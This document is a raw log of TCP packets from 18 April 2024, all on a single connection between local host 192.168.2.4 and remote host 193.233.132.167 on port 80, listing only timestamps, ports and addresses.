Apr 18, 2024 23:40:05.646663904 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646687984 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.646698952 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646723986 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.646735907 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646760941 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.646778107 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646796942 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.646832943 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.646843910 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646843910 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646868944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.646879911 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646905899 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.646915913 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646943092 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.646958113 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646980047 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647000074 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647016048 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647020102 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647053003 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647064924 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647089958 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647100925 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647133112 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647150040 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647171974 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647186041 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647209883 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647227049 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647245884 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647264004 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647284031 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647293091 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647327900 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647337914 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647363901 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647381067 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647399902 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647417068 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647435904 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647459030 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647471905 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647479057 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647507906 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647522926 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647543907 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647562027 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647581100 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647593021 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647617102 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647629976 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647654057 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647664070 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647690058 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647705078 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647726059 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647737980 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647763014 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647773981 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647799969 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647809029 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647836924 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647845984 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647872925 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647886992 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647916079 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647928953 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647953033 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.647963047 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.647989988 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648008108 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648025990 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648045063 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648061991 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648081064 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648097038 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648106098 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648169041 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648206949 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648242950 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648278952 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648297071 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648297071 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648297071 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648297071 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648314953 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648323059 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648351908 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648358107 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648389101 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648396015 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648426056 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648431063 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648462057 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648469925 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648498058 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648505926 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648534060 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648541927 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648570061 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648580074 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648606062 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648622036 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648643017 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648648024 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648679018 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648684978 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648715019 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648725033 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648763895 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648772001 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648801088 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648808002 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648835897 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648844004 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648873091 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648880005 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648909092 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648916960 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648945093 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648952007 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.648981094 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.648988962 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.649015903 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.649029970 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.649053097 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.649054050 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.649089098 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.649100065 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.649138927 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.649173975 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.649210930 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.649236917 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.649246931 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.649283886 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.649318933 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.649334908 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.649353981 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.649378061 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.649385929 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.649394035 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.649416924 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.649430990 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.649451971 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.649472952 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.888179064 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.888257027 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.893503904 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.897214890 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.899493933 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.899543047 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.899585962 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.899621964 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.899667978 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.899764061 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.899782896 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.899806976 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.899820089 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900000095 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900046110 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900227070 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900258064 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900281906 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900284052 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900300026 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900309086 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900316954 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900317907 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900333881 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900337934 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900352001 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900369883 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900377989 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900377989 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900387049 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900391102 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900403976 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900412083 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900420904 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900423050 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900439024 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900440931 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900455952 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900465965 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900474072 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900485992 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900490999 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900497913 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900510073 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900521040 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900528908 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900536060 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900544882 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900557041 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900561094 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900569916 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900578022 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900592089 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900597095 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900604963 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900614023 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900626898 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900630951 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900643110 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900649071 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900655031 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900665998 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900675058 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900684118 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900695086 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900701046 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900703907 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900717974 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900727034 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900737047 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900738955 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900753021 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900753975 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900769949 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900769949 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900788069 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900798082 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900804996 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900815010 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900821924 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900829077 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900840044 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900851011 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900857925 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900867939 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900875092 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900891066 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900896072 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900896072 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900908947 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900913000 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900928974 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900944948 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900949955 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900964022 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900970936 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900981903 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.900985003 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900995970 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.900999069 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901015043 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901016951 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901034117 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901037931 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901066065 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901110888 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901132107 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901145935 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901145935 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901164055 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901168108 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901237011 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901253939 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901273966 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901282072 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901315928 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901315928 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901349068 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901365995 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901381969 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901397943 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901405096 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901422024 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901443005 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901516914 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901535034 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901551962 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901562929 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901567936 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901582956 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901585102 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901602030 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901607990 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901618958 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901631117 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901631117 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901637077 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901642084 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901654959 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901667118 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901671886 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901681900 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901701927 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901716948 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901832104 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901849985 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901865959 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901874065 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901882887 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901890993 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901901960 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901911974 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901921988 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901925087 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901940107 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901947021 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901957035 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901959896 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901974916 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.901982069 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901989937 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.901994944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902019978 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902033091 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902064085 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902081966 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902098894 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902105093 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902117014 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902124882 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902143002 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902162075 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902226925 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902244091 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902260065 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902277946 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902287006 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902299881 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902328014 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902369976 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902388096 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902403116 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902417898 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902426004 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902435064 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902441025 CEST	49739	80	192.168.2.4	193.233.132.167
